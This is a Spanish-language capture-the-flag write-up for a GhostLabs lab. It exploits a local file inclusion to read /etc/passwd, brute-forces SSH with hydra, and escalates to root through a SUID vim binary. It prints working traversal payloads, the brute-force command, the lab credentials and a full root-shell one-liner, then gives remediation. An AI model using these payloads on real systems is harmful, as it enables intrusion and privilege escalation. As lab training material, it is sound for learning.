# GhostLabs — LFI INCLUSION :: Write-up

> ⚠️ SPOILER — Lee esto solo después de intentar resolver el lab.

---

## Información del lab

| Campo       | Valor                              |
|-------------|------------------------------------|
| Dificultad  | Difícil (4 pts)                    |
| Servicios   | SSH (2222) · Web (8080)            |
| Usuario SSH | trinity / hacker                   |
| Vectores    | LFI → /etc/passwd → SSH brute → SUID vim |

---

## Flujo de ataque

```
nmap → web + SSH
  ↓
fuzzing de parámetros → ?file=
  ↓
LFI → /etc/passwd → usuario "trinity"
  ↓
hydra SSH bruteforce → "hacker"
  ↓
shell como trinity → vim SUID → root → flag.txt
```

---

## Paso 1 — Reconocimiento

```bash
nmap -sV -p- --min-rate 5000 <LAB_IP>
```

Descubrimos SSH (2222) y HTTP (8080). Accedemos a la web y vemos un "file viewer".

---

## Paso 2a — Descubrimiento del parámetro vulnerable (ffuf)

En una aplicación real no sabes cómo se llama el parámetro GET que carga ficheros. ffuf lo descubre probando miles de nombres:

> ⚠️ Las versiones recientes de Kali no incluyen seclists por defecto. Si el wordlist no existe, instálalo primero:
> ```bash
> sudo apt update && sudo apt install seclists -y
> ```

```bash
ffuf -u "http://<LAB_IP>:8080/index.php?FUZZ=../../../etc/passwd" \
     -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
     -ac
```

**Cómo funciona:**
- `FUZZ` es un placeholder que ffuf reemplaza con cada palabra del wordlist: prueba `?file=...`, `?page=...`, `?path=...`, `?dir=...`, etc.
- El valor `../../../etc/passwd` es fijo — si el parámetro existe y la app es vulnerable, la respuesta incluirá el contenido real del fichero (más bytes que una respuesta normal).
- `-ac` (auto-calibrate) detecta automáticamente qué respuestas se desvían del patrón y filtra las normales → solo muestra `file` como positivo.

Resultado esperado:
```
[Status: 200, Size: 2847, Words: 45, Lines: 35] :: WORD: file
```

> 💡 En este lab el formulario web ya muestra el nombre del campo (`file`), así que puedes saltar este paso si lo ves. Se incluye para practicar la técnica de fuzzing de parámetros.

---

## Paso 2b — Explotación de la LFI

Una vez conocido el parámetro (`file`), lo explotamos directamente para leer ficheros del sistema:

```bash
curl "http://<LAB_IP>:8080/index.php?file=../../../etc/passwd"
```

O en el navegador:
```
http://<LAB_IP>:8080/index.php?file=../../../etc/passwd
```

En la respuesta vemos las cuentas del sistema. Identificamos el usuario con shell:

```
trinity:x:1000:1000::/home/trinity:/bin/bash
```

---

## Paso 4 — Fuerza bruta SSH

```bash
hydra -l trinity -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 64
```

Resultado: `trinity` / `hacker`

Accedemos al sistema:

```bash
ssh trinity@<LAB_IP> -p 2222
# password: hacker
```

> ⚠️ Si has usado otra máquina GhostLabs antes (misma IP `172.17.0.x`), SSH mostrará el error `WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED`. Elimina la clave antigua y vuelve a conectar:
> ```bash
> ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '[<LAB_IP>]:2222'
> ssh trinity@<LAB_IP> -p 2222
> ```

---

## Paso 5 — Escalada a root con vim SUID

Desde la shell como trinity, buscamos binarios SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

Entre los resultados veremos:

```
/usr/bin/vim.nox   ← inusual — los editores de texto no deberían tener SUID
```

### Cómo encontrar el exploit en GTFOBins

GTFOBins ([gtfobins.github.io](https://gtfobins.github.io)) es una referencia de binarios Unix que pueden ser explotados para escalar privilegios.

**Paso 1 — Busca "vim"** en GTFOBins. Verás que `vim` tiene la función **Inherit** con borde sólido rojo (= soportada con SUID).

![GTFOBins - lista vim](../v1.png)

**Paso 2 — Entra en vim → sección Inherit → pestaña SUID.** GTFOBins dice:

```
vim -c ':py ...'
```

La sección **Inherit** significa que vim puede heredar las funciones de Python ejecutando código Python directamente. El comando está truncado con `...` — debes ir a la página de `python` para obtener el payload completo.

![GTFOBins - vim Inherit SUID](../v2.png)

**Paso 3 — En la página de python → sección Shell → pestaña SUID:**

```
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

![GTFOBins - python Shell SUID](../v4.png)

### El comando completo

Combinando ambas referencias (vim/Inherit/SUID + python/Shell/SUID), adaptado a Python 3 y al binario real del sistema:

```bash
/usr/bin/vim.nox -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
```

### Por qué funciona — desglose

| Fragmento | Explicación |
|-----------|-------------|
| `/usr/bin/vim.nox` | El binario con SUID activo. Se ejecuta con EUID=0 (root) |
| `-c '...'` | Le dice a vim que ejecute un comando al arrancar |
| `:py3 import os` | Llama al intérprete Python 3 integrado en vim |
| `os.execl("/bin/sh", "sh", ...)` | **Reemplaza** el proceso de vim por `sh` — sin crear un proceso hijo |
| `"-p"` | Le dice a `sh` que preserve los privilegios SUID (no resetee EUID) |
| `"-c", "reset; exec sh -p"` | Limpia la terminal y abre una shell interactiva como root |

> ⚠️ **¿Por qué `os.execl` y no simplemente `:!/bin/sh -p`?**
> Con `:!/bin/sh -p`, vim crea una shell **hija** mediante `system()`. El sistema detecta que EUID ≠ UID y resetea los privilegios → obtienes trinity, no root.
> Con `os.execl`, Python **reemplaza el proceso de vim** directamente por `sh`. No hay shell intermedia — `sh` hereda el EUID de vim (root) y arranca como root.

```bash
whoami
# root
```

---

## Paso 6 — Flag

```bash
cat /root/flag.txt
# GhostLabs{lf1_2_ssh_brut3_2_v1m_su1d_0wn3d}
```

---

## Remediación

- Nunca usar input del usuario directamente en `file_get_contents()` o `include()`
- Validar y sanitizar siempre los parámetros: whitelist de ficheros permitidos
- Nunca poner SUID en editores de texto (vim, nano, etc.)
- Deshabilitar `allow_url_include` y `allow_url_fopen` en php.ini

---

*GhostLabs — red team operations :: offensive security*
*www.unfantasmaenelsistema.com*
